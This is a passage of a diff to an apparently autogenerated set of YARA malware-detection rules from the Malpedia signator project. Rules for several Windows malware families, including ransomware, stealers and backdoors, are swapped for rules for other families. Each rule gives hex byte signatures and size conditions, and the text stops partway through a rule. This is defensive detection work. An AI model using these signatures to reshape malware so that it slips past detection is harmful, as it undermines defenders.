"c0fa9d6b-6c59-5a94-9c37-0c291299bb78" + id = "43a5ead4-80ee-505e-8349-ccdf5ab70f14" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.anatova_ransom_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quiterat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quiterat_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "08ba2b5584d7af06c3ea6ab9e9a7449efbced637b501a285d62a4734bce8c105" + logic_hash = "90260961ae1a599548c6d7cadbabe833b3a94be00dfdebc01e1cf8dc50ee7760" score = 75 quality = 75 tags = "FILE" @@ -108138,32 +108562,32 @@ rule MALPEDIA_Win_Anatova_Ransom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c89da 4c8b1d???????? 41ffd3 488b45d8 4989c3 } - $sequence_1 = { 4989c2 4c89d1 4c89da e8???????? 488b05???????? 4881c000020000 8b0d???????? } - $sequence_2 = { 0f8405000000 e9???????? 48b80000100000000000 e9???????? 488b45e8 48b90000000000000000 48894c2420 } - $sequence_3 = { 488985c0feffff 488b85c0feffff b938020000 8908 488b85c0feffff 4989c3 } - $sequence_4 = { e8???????? 0fb645ff 83f800 0f846f020000 } - $sequence_5 = { 8845fe 0fb645fe 83f800 0f840d010000 } - $sequence_6 = { 488b4d10 4801c1 8b45fc 4863c0 } - $sequence_7 = { 488b05???????? 4883f800 0f848f010000 488b05???????? 4883f800 0f847e010000 488b05???????? } - $sequence_8 = { b800000000 898574ffffff 8b8574ffffff 83f810 0f8dd3000000 } - $sequence_9 = { 48b80f00000000000000 4989c0 b800000000 4989c3 488d45b1 4989c2 4c89d1 } + $sequence_0 = { 8d442440 50 8d442418 50 8d442438 50 8d4c241c } + $sequence_1 = { 8d4dac e8???????? 8d4db0 c645fc2b e8???????? 8d45ec 50 } + $sequence_2 = { e8???????? 8d4c2410 51 50 8bcf e8???????? 8d4c2410 } + $sequence_3 = { 8d442424 57 50 e8???????? 8b8424bc020000 83c40c 8bc8 } + $sequence_4 = { e8???????? 6a01 68???????? 8d4c2430 e8???????? ff7004 ff30 } + $sequence_5 = { f00fc108 0f95c0 84c0 756e 8b44241c eb5b 837f1006 } + $sequence_6 = { 8b7c241c 8a4c2440 8b4360 8b5364 3b4368 7505 3b536c } + $sequence_7 = { 8b7c242c 8b4108 83c004 8d1481 89542418 8b410c 8d0c81 } + $sequence_8 = { c20800 6aff 6a00 68???????? 8d442440 b9???????? 50 } + $sequence_9 = { 8bf1 33db 57 c706???????? 395e50 7e2d 33ff } condition: - 7 of them and filesize < 671744 + 7 of them and filesize < 5892096 } -rule MALPEDIA_Win_Mpkbot_Auto : FILE +rule MALPEDIA_Win_Fullmetal_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5c0d844d-8443-5cd2-85d1-0760b4dc7471" + id = "b8b29202-9be6-50e1-9bec-3cebf32dec61" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mpkbot_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fullmetal" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fullmetal_auto.yar#L1-L95" license_url = "N/A" - logic_hash = "e000d2e2dca508ff7c1606218ef334f987cad7bd6633af2fef3bc1fd70b54752" + logic_hash = "c47370c8b8f3f3ccbb9778b64f7c7a952cf6e37e2cb16598ed18037ff7fcc6b0" score = 75 quality = 75 tags = "FILE" @@ -108177,32 +108601,30 @@ rule MALPEDIA_Win_Mpkbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ff15???????? ff7510 a3???????? } - $sequence_1 = { 68???????? 68???????? 8975f8 8b08 50 } - $sequence_2 = { 52 56 6a20 68???????? 68???????? 8975f8 8b08 } - $sequence_3 = { 50 ff15???????? 8b45fc 3bc6 7406 8b08 } - $sequence_4 = { 68???????? 68???????? 8975f8 8b08 50 ff5150 } - $sequence_5 = { a5 a5 8b75fc 5f 53 ff15???????? 8bc6 } - $sequence_6 = { 56 68???????? 68???????? ffd7 6a00 6a01 } - $sequence_7 = { eb15 53 ff75f8 56 } - $sequence_8 = { d95dd0 d945d0 d9c1 dee1 d95dcc 0fb630 } - $sequence_9 = { 6a01 6aff 8975fc 8b08 50 ff5110 85c0 } + $sequence_0 = { 90 8b4714 90 c1e80d } + $sequence_1 = { 488b05???????? 488d4de0 4d63c8 488bd3 4c8d8300010000 } + $sequence_2 = { e9???????? 488d1580960200 488bcb ff15???????? } + $sequence_3 = { 85c0 7918 488d542420 488d0dc0b60200 } + $sequence_4 = { 83e03f 4c8d3cc0 4a8b84e9404a0400 4a8b44f828 488945e7 458be1 } + $sequence_5 = { 85c0 7560 49ffc6 6646392c73 75f6 } + $sequence_6 = { eb20 bffdffffff 488b9424c8000000 488d0d2bc30200 4883c212 } + $sequence_7 = { 415e c3 8bc1 488d0df7990200 } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 733184 } -rule MALPEDIA_Win_Fog_Auto : FILE +rule MALPEDIA_Win_Kerrdown_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d28c9493-ded7-5c6b-96f1-79a637f3ec06" + id = "da236d92-1fe9-5457-946f-9d7f9613f9af" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fog" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fog_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kerrdown_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "65c8cd27a3044c0ed114d45adeda01dfdb815d1dce8b0ed05ceb7d08d13dca8c" + logic_hash = "2d8b506b753eb11d1ef360ccc2cec767f65cb094a11e4e8ce42bcebdfc177559" score = 75 quality = 75 tags = "FILE" @@ -108216,32 +108638,32 @@ rule MALPEDIA_Win_Fog_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a64 57 6a00 6800020000 e8???????? 0f1006 8b4514 } - $sequence_1 = { 50 8d45fc 50 8d45f0 50 ffd6 8b4510 } - $sequence_2 = { 8b8db8f6ffff 85c9 7445 8b3c8dd42b0110 85ff 0f8588000000 33c0 } - $sequence_3 = { 83c40c 6b45e430 8945e0 8d8028a10110 8945e4 803800 } - $sequence_4 = { 83c408 8bd8 8b4720 6a00 56 53 6a10 } - $sequence_5 = { 038c8300180000 0fb6c2 038c8300140000 0fb68308200000 038c8300100000 334cb338 314f38 } - $sequence_6 = { e8???????? 83c404 89861c020000 8b45e0 8d4e0c 6a06 8d901ca10110 } - $sequence_7 = { 0f8eac000000 660f1f440000 8d0c8500000000 83bc0d0cffffff02 0f857f000000 8db574ffffff 03f1 } - $sequence_8 = { 8b4604 03c3 50 ff36 e8???????? 8b4e04 } - $sequence_9 = { 0fb74004 6685c0 7527 ff4508 83c304 } + $sequence_0 = { 85f6 743f 83ff10 b8???????? 0f43c1 85f6 } + $sequence_1 = { 8d45f8 50 68004a0000 68???????? } + $sequence_2 = { 741b 56 68???????? 50 e8???????? } + $sequence_3 = { 75b2 83ff10 8935???????? b8???????? 0f43c1 5e } + $sequence_4 = { 5f 85c0 7543 50 6880000000 } + $sequence_5 = { 8bd3 2bd6 8a0e 8d7601 } + $sequence_6 = { 8935???????? b8???????? 0f43c1 5e } + $sequence_7 = { 884de5 02c2 33f6 8845e6 0fb64435e4 50 } + $sequence_8 = { b8???????? 0f43c1 03c2 3d???????? 762a ff750c 83ff10 } + $sequence_9 = { 80e203 c0e004 02d1 8855e4 8a55ea 8aca } condition: - 7 of them and filesize < 244736 + 7 of them and filesize < 278528 } -rule MALPEDIA_Win_Vohuk_Auto : FILE +rule MALPEDIA_Win_Boaxxe_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fa7917d0-5d38-5842-a477-3065670570e2" + id = "5fdff2c4-9858-5230-8586-66650c6fe95c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vohuk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vohuk_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boaxxe_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "1c7046d07a287745fd2dd564d0be780eb277cd73b0fb9a0541750f2b4df4fc07" + logic_hash = "124ce2238ea4b514d8960c521e2c44f0db9f5af3376e938bf1e4f0bfa769f279" score = 75 quality = 75 tags = "FILE" @@ -108255,32 +108677,32 @@ rule MALPEDIA_Win_Vohuk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c745a441003500 b81f6b193a 8bce f7ee c1fa05 8bc2 c1e81f } - $sequence_1 = { c7403c9e008200 c7404083008300 c74044ce00c200 c74048ce00d100 c7404cbb00b700 c74050ce00d500 } - $sequence_2 = { e8???????? ff75ac 6a00 56 ffd0 8b7da0 e9???????? } - $sequence_3 = { c745ec00000000 50 ffd7 85c0 7474 8b0d???????? ba43c7bfd0 } - $sequence_4 = { 83f804 7646 6a14 81ff00010000 0f8618010000 51 } - $sequence_5 = { 7586 c745fc2f000000 8d9dd8feffff 8b5334 8d4004 8b33 8d5b04 } - $sequence_6 = { c645ff00 8b0d???????? ba05bc94bf 8b35???????? 6a15 e8???????? } - $sequence_7 = { 7307 bee8030000 eb0d 81fe10270000 7605 be10270000 8b0d???????? } - $sequence_8 = { ffd0 8bd8 bf41000000 b81a000000 8945fc f6c301 0f858a000000 } - $sequence_9 = { 51 6a38 8d8d60ffffff 51 6a0a 56 ffd0 } + $sequence_0 = { 8bc3 e8???????? 8d55d8 66b89a01 e8???????? ff75d8 68???????? } + $sequence_1 = { 8b542404 8bc7 e8???????? 8bce 03c9 8b442404 8d1458 } + $sequence_2 = { 85c0 7410 8bc3 8bd4 b905010000 e8???????? eb0d } + $sequence_3 = { 6a01 e8???????? 8bd8 bd80000008 85f6 740d 81ff00040000 } + $sequence_4 = { 64ff30 648920 8b55f0 a1???????? e8???????? 8b55f0 a1???????? } + $sequence_5 = { 8b4078 85c0 7420 8b54240c 8d0402 89442408 8bc6 } + $sequence_6 = { 8b5df8 03de 8a1b 8b7dfc 03f9 301f 46 } + $sequence_7 = { 7411 803c24ac 7507 807c240110 7404 33c0 5a } + $sequence_8 = { e8???????? 8d45d8 8b55ec e8???????? 8d45d8 8b4df4 8b55f8 } + $sequence_9 = { 83c9ff 32c0 f2ae f7d1 5f 92 f2ae } condition: - 7 of them and filesize < 260096 + 7 of them and filesize < 1146880 } -rule MALPEDIA_Win_Excalibur_Auto : FILE +rule MALPEDIA_Win_Crypmic_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6324643e-ef25-5303-a7ee-e63ea03ca117" + id = "a26f518b-f54e-5798-8fd7-c3e715fae74e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.excalibur_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crypmic_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "59d59e89202157c635015f906929dcafdfae271957da35e098ac970aa56a977d" + logic_hash = "c8a49a63b1990f5f0d77a9fcf41412b9f9f6710da574c5641db1ab5f7eadc95a" score = 75 quality = 75 tags = "FILE" @@ -108294,32 +108716,32 @@ rule MALPEDIA_Win_Excalibur_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4d08 33c0 663b88e4954300 740d 83c002 83f814 72ef } - $sequence_1 = { eb44 8d0492 c1e003 50 8b450c 50 8b00 } - $sequence_2 = { ffd0 83c408 894734 85c0 74de 8b5f14 } - $sequence_3 = { 83793800 7503 83cf04 83e717 89790c 857910 7407 } - $sequence_4 = { 33c4 89442420 8b4508 8944240c 8b450c 53 8b5810 } - $sequence_5 = { 0f43c2 8d8d4cffffff 8a0430 8885f8feffff ffb5f8feffff 6a01 } - $sequence_6 = { 6685c0 75f5 56 8d85d8f9ffff 2bd9 } - $sequence_7 = { 48 894604 8b06 40 8a48ff 8906 84c9 } - $sequence_8 = { 8945bc 8b45c8 8955e4 8b4020 c745e800000000 } - $sequence_9 = { 8d4c245c e8???????? 84c0 7433 68???????? 8d8c2490000000 e8???????? } + $sequence_0 = { 55 8bec 83ec10 837d0800 8bc2 894df8 0f868c000000 } + $sequence_1 = { 740a 8d4002 46 66833800 75f6 8d3c72 33c0 } + $sequence_2 = { 8d3409 33db 0fb7143e 663bda } + $sequence_3 = { 66833800 75f6 8d3c72 33c0 } + $sequence_4 = { 0fb78c15c0fdffff 663bf1 75e8 8b75f4 } + $sequence_5 = { 8b4e08 53 6a08 ff7604 } + $sequence_6 = { 8bec 81ec70020000 8b4108 53 56 } + $sequence_7 = { 56 57 894df4 83f828 7252 83e828 } + $sequence_8 = { 50 8b4608 6a08 ff7604 ffd0 8bf8 c70728000000 } + $sequence_9 = { bb04000000 eb27 83f808 7707 } condition: - 7 of them and filesize < 1253376 + 7 of them and filesize < 81920 } -rule MALPEDIA_Win_Pykspa_Auto : FILE +rule MALPEDIA_Win_Zeus_Action_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "50716d19-baac-512e-9696-08ac9e2a4a98" + id = "b1bc7ed7-2f41-59f6-b8c0-74ccb733a5b2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pykspa_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_action" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_action_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "224d3991c62a8b8f8f63073971c195da5bc5aec2fb8743f9bc32c0631a402ab6" + logic_hash = "e0a4177bac84ef56b9551fcc42fe4ba9ebe72ed006b608f1d2911d9c311b37c6" score = 75 quality = 75 tags = "FILE" @@ -108333,32 +108755,32 @@ rule MALPEDIA_Win_Pykspa_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 32c0 eb0d 2b4508 8d443004 39450c 0f9dc0 } - $sequence_1 = { ff7524 68???????? e8???????? 83c40c 8d8500fcffff 50 8d8500d4ffff } - $sequence_2 = { 53 ff15???????? e9???????? 8d85a0feffff 68???????? 50 e8???????? } - $sequence_3 = { 8bf0 ff15???????? ff75cc 8bf8 e8???????? 3bf3 59 } - $sequence_4 = { e9???????? 6a0a 8d45b0 50 8d858ceeffff 50 e8???????? } - $sequence_5 = { 8bcb 83e107 c1e102 d3e8 a80f 7503 4b } - $sequence_6 = { 50 6aff ff36 53 53 ff15???????? ff7508 } - $sequence_7 = { 6a41 8d45bc 50 68???????? e8???????? 83c40c ff15???????? } - $sequence_8 = { 53 e8???????? 8903 8d0436 83c40c 894708 6a02 } - $sequence_9 = { 7414 8d4580 50 8d4508 50 56 ff7510 } + $sequence_0 = { 53 ff15???????? 89866c070000 85c0 0f849c010000 ff15???????? } + $sequence_1 = { 59 ebb1 8365fc00 8d45fc 50 56 e8???????? } + $sequence_2 = { 50 ffd6 8b4304 83c40c 83400403 e9???????? 8d4df8 } + $sequence_3 = { c3 55 8bec 33d2 837d1008 53 8ada } + $sequence_4 = { ff15???????? 89442420 0fb705???????? 50 ff15???????? 668944241e 6a10 } + $sequence_5 = { 75e6 8b55e8 8b7508 8b7d0c 8b4510 eb05 } + $sequence_6 = { 8b3f 8b4f0c 8b5f08 894dfc 8b45f8 3b7df4 0f85ebfeffff } + $sequence_7 = { 3bc1 7e04 33c0 eb37 8b4d18 0fb73b 8b11 } + $sequence_8 = { eb76 80f96e 7523 8b4304 8b4804 8b5008 2bd1 } + $sequence_9 = { 8945e4 85c0 0f849f010000 8b4508 8bf8 c1ef06 a83f } condition: - 7 of them and filesize < 835584 + 7 of them and filesize < 827392 } -rule MALPEDIA_Win_Microbackdoor_Auto : FILE +rule MALPEDIA_Win_Nemty_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d034a3c6-ae16-5b99-83b8-8b1af34e1631" + id = "cdf39d25-7035-553c-816d-fe9d35a19962" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.microbackdoor_auto.yar#L1-L174" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemty" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nemty_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "aab22f804c7581af6f351afbab65356d1b51594dabf7c74f24bb9a35b014fbaa" + logic_hash = "3672eaf2e9c4783f20e7f6ec877d618670612c5d8376e42a0d5a0e87ba0dbd7a" score = 75 quality = 75 tags = "FILE" @@ -108372,38 +108794,32 @@ rule MALPEDIA_Win_Microbackdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c9 8d45f0 50 51 6a3a } - $sequence_1 = { ffd7 eb06 ff15???????? 8bc6 eb06 } - $sequence_2 = { eb42 0fb6442431 3c5a 7520 837c243400 7419 66837c243200 } - $sequence_3 = { 488dac2410feffff 4881ecf0020000 8bd9 33c9 440fb7ea e8???????? } - $sequence_4 = { 418bce 0fb7de ff15???????? 488d15ea390000 488d4c2450 4c8bc0 } - $sequence_5 = { 66896c2420 ff15???????? 8bce 89742424 } - $sequence_6 = { 59 56 ff15???????? eb06 ff15???????? 8b75f4 } - $sequence_7 = { ff15???????? 488d0d01290000 eb68 488d542430 41b800010000 488bcb e8???????? } - $sequence_8 = { 7412 488d0dfa700000 448bc0 488bd6 e8???????? 03df } - $sequence_9 = { ff15???????? 85c0 0f8599feffff 8d4508 33db 50 } - $sequence_10 = { eb57 4d03c9 498bd7 498bce 43ff54cd08 } - $sequence_11 = { 448bc6 488bd0 488bcf e8???????? 8bf8 85c0 } - $sequence_12 = { 3bfe 7cdd 33c0 40 } - $sequence_13 = { 895d08 e8???????? 83c410 85c0 7467 } - $sequence_14 = { ff15???????? ff75fc ff15???????? ff7508 ff15???????? eb0e ff15???????? } - $sequence_15 = { 8975fc 50 56 56 6a19 ff75f8 ff15???????? } + $sequence_0 = { 6bf61c 8b45e8 03f0 897308 6bff1c } + $sequence_1 = { e8???????? 53 8d75e0 e8???????? 8b4dfc 5f 5e } + $sequence_2 = { e8???????? 6a01 33ff 8d7508 e8???????? 8b4dfc } + $sequence_3 = { 83c61c 3bd8 72c0 68???????? } + $sequence_4 = { ff15???????? 53 8d459c 50 ff35???????? } + $sequence_5 = { e8???????? 33db 43 53 33ff 8d75e0 e8???????? } + $sequence_6 = { c20400 8b4f04 53 8bd8 56 } + $sequence_7 = { 5f f7ff 43 83c61c 3bd8 72c0 } + $sequence_8 = { 837d3810 8bf8 8b4524 59 7303 8d4524 837d3810 } + $sequence_9 = { 50 56 6806000200 6a01 56 56 68???????? } condition: - 7 of them and filesize < 123904 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Httpbrowser_Auto : FILE +rule MALPEDIA_Win_Keymarble_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ae4ee866-262a-554a-b946-19e1882a583d" + id = "447d0650-610a-5703-8049-ac11f5ff96b2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.httpbrowser_auto.yar#L1-L169" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keymarble_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "fe5c658a5d4b7829560ab47b5951aa60c2bf887992bf53e66e96f138e4aa0991" + logic_hash = "e486a69a145cdf890bda9b04db818a44b92722887c60b9c58647de19116cd1c1" score = 75 quality = 75 tags = "FILE" @@ -108417,38 +108833,32 @@ rule MALPEDIA_Win_Httpbrowser_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 751d 68???????? ffb5f0fdffff ff15???????? ffb5f0fdffff ff15???????? 56 } - $sequence_1 = { 6800010000 8d85f8feffff 50 ff15???????? 8d85f8feffff } - $sequence_2 = { 8bec 81ecac020000 a1???????? 33c5 8945fc 57 8d8558fdffff } - $sequence_3 = { eb3c 8b85e4fdffff 8985f4fdffff 3bc6 74ec 53 } - $sequence_4 = { 33db 56 8985e8eeffff 8d85fdeeffff 53 50 8bf9 } - $sequence_5 = { 6a04 8d85a0feffff 50 6a13 } - $sequence_6 = { ffd6 83bd6453ffff14 7552 8d85c855ffff 50 } - $sequence_7 = { 8d85fefdffff 50 e8???????? ffb5f4edffff } - $sequence_8 = { 8b7508 8d4dec 6a00 8d55fc 51 } - $sequence_9 = { 33c0 8dbdb2fcffff 668995b0fcffff f3ab } - $sequence_10 = { 56 e8???????? 8bf8 83c408 85ff 7422 66891f } - $sequence_11 = { 5d 9d 5d 8b4dfc 51 } - $sequence_12 = { 50 8b4508 51 50 52 } - $sequence_13 = { e8???????? 83c410 8b4d08 6a00 68???????? } - $sequence_14 = { ff15???????? b940000000 33c0 8dbdfcfeffff } - $sequence_15 = { 8d741202 56 e8???????? 8bd0 83c404 85d2 8955f8 } + $sequence_0 = { ff15???????? 50 e8???????? 83c404 56 6a40 } + $sequence_1 = { 6a00 6a03 6800000040 57 ffd6 } + $sequence_2 = { ff15???????? e8???????? 99 b907000000 f7f9 } + $sequence_3 = { e8???????? 83c408 85c0 7407 bb7a452301 } + $sequence_4 = { ffd7 50 e8???????? 83c404 e8???????? 8d3470 81e6ffffff7f } + $sequence_5 = { e9???????? 50 6a00 6810040000 } + $sequence_6 = { 85db 7407 53 ff15???????? ff15???????? } + $sequence_7 = { e9???????? 50 6a00 6810040000 ff15???????? } + $sequence_8 = { ff15???????? 85db 7407 53 ff15???????? ff15???????? } + $sequence_9 = { 50 e8???????? 83c404 e8???????? 8d3470 81e6ffffff7f } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 1146880 } -rule MALPEDIA_Win_Troll_Stealer_Auto : FILE +rule MALPEDIA_Win_Gemcutter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "40759ced-a25e-5434-bc7c-501cfe15d47a" + id = "f2a59f86-1075-5464-b91b-cb447c183566" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.troll_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.troll_stealer_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gemcutter_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "5f0403028aceb1e51ecaa890b1a7ca49efec2e1c71ccfd760d9d2619abef354a" + logic_hash = "9745c8061ab88116351043d55251d3e8c32737ca442027c8a6620480abc8c8bf" score = 75 quality = 75 tags = "FILE" @@ -108462,32 +108872,32 @@ rule MALPEDIA_Win_Troll_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 49895008 6699 49894010 0fb7d5 9c c0f2b0 66d3f2 } - $sequence_1 = { d0ca 80c2f3 f9 f8 d0c2 4432ca f7c465491a38 } - $sequence_2 = { f7d2 f9 d1c2 4153 41ffc3 311424 415b } - $sequence_3 = { 4181eb2315e85c 313424 458bdd 49c7c33109c930 } - $sequence_4 = { 81d9d83d744a f6d2 80c253 0fbfc8 d2cd d0c2 } - $sequence_5 = { 313c24 480fbafbc6 c1eb14 480fb7da 5b 4863ff f8 } - $sequence_6 = { 453bf3 4153 311424 664181eb996f 415b f9 4863d2 } - $sequence_7 = { 4d8d141a 48bd0000000002000000 4d8d142a 410fc1f9 4c8bc4 4881ec80010000 450fbfc8 } - $sequence_8 = { 403ad4 81f6a540bf26 f7d6 f5 d1c6 f8 f7d6 } - $sequence_9 = { 4112eb 418910 4080dd61 40fec5 660bef 418b2b 4981c304000000 } + $sequence_0 = { fec8 8886a0314000 8a843579ffffff 46 ebea 395d08 889ea0314000 } + $sequence_1 = { 8d85f0fcffff 53 50 ffd6 8d85f0fcffff } + $sequence_2 = { 68???????? e8???????? 83c424 8b3d???????? 56 } + $sequence_3 = { 6a01 ff15???????? 6a01 68???????? e8???????? 6a01 } + $sequence_4 = { e8???????? 83c424 8b3d???????? 56 33f6 } + $sequence_5 = { 83c410 8d85f0fdffff 53 50 ffd6 8b3d???????? 8d85f0fdffff } + $sequence_6 = { 57 53 6801001f00 ff15???????? 3bc3 be???????? } + $sequence_7 = { 56 ff15???????? 8bf8 8d8500fcffff } + $sequence_8 = { fec8 8886a0314000 8a843579ffffff 46 ebea 395d08 } + $sequence_9 = { 6a00 6801001f00 ff15???????? 85c0 7517 68e8030000 ff15???????? } condition: - 7 of them and filesize < 45868032 + 7 of them and filesize < 40960 } -rule MALPEDIA_Win_Nightdoor_Auto : FILE +rule MALPEDIA_Win_Phoenix_Locker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d8e136f5-ecc5-5fee-8886-ee91c9e305f7" + id = "32012f66-221c-5fa5-9d14-f943abc9c522" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightdoor_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phoenix_locker_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "d66f399d7d6cc21f703af3dc1753edb59e4b1b5c61847dda1732e7b96de70f40" + logic_hash = "c929252a8fed8f1bda435d368708b210ebe5b5f043e324b3e033e447747795e0" score = 75 quality = 75 tags = "FILE" @@ -108501,32 +108911,32 @@ rule MALPEDIA_Win_Nightdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 ff15???????? 8b45fc 8b08 51 e8???????? 83c404 } - $sequence_1 = { 51 8d4dac e8???????? c7458800000000 eb09 8b5588 } - $sequence_2 = { 0f840c020000 6a00 8d4dc0 51 8d55c8 52 } - $sequence_3 = { 6a01 e8???????? 83c404 8945fc 8b4d10 51 8b550c } - $sequence_4 = { 85c0 7505 8b45fc eb1c 8b4dfc e8???????? 8b4d08 } - $sequence_5 = { e9???????? 8b4518 3b450c 7765 8b4d18 51 8b4df0 } - $sequence_6 = { ff15???????? 8945e0 837de0ff 7524 ff15???????? 8945dc } - $sequence_7 = { 51 ff15???????? 85c0 0f853a030000 8d95d4feffff 52 8d85d4f6ffff } - $sequence_8 = { 83c404 b001 e9???????? 83ff0b 7510 8bd6 8bcb } - $sequence_9 = { 8b45f0 c7400c00000000 68???????? 8b4df0 83c110 } + $sequence_0 = { ffc3 4d0fbfd0 66450fbed2 450fbfd5 4c63d3 e9???????? e9???????? } + $sequence_1 = { 0f8774000000 0f8530000000 488b542428 480fb7cd 488d4b14 e9???????? ff15???????? } + $sequence_2 = { 41b07c 6644896c2420 480fabc8 48ffc8 4180d05d 488d542420 } + $sequence_3 = { 4586c0 4c8bc2 f7d2 488bd1 488d0de21fe5ff e8???????? 488d0dd61fe5ff } + $sequence_4 = { 4184eb f9 4c03d1 4d8d1c0b f8 41f6c484 4585c9 } + $sequence_5 = { 688c4bd073 0f82f8aefeff 48818424100000006c322f5a 5e 5e 5e } + $sequence_6 = { 418b0c84 98 23cd 660fb6c6 4433c1 98 4633048b } 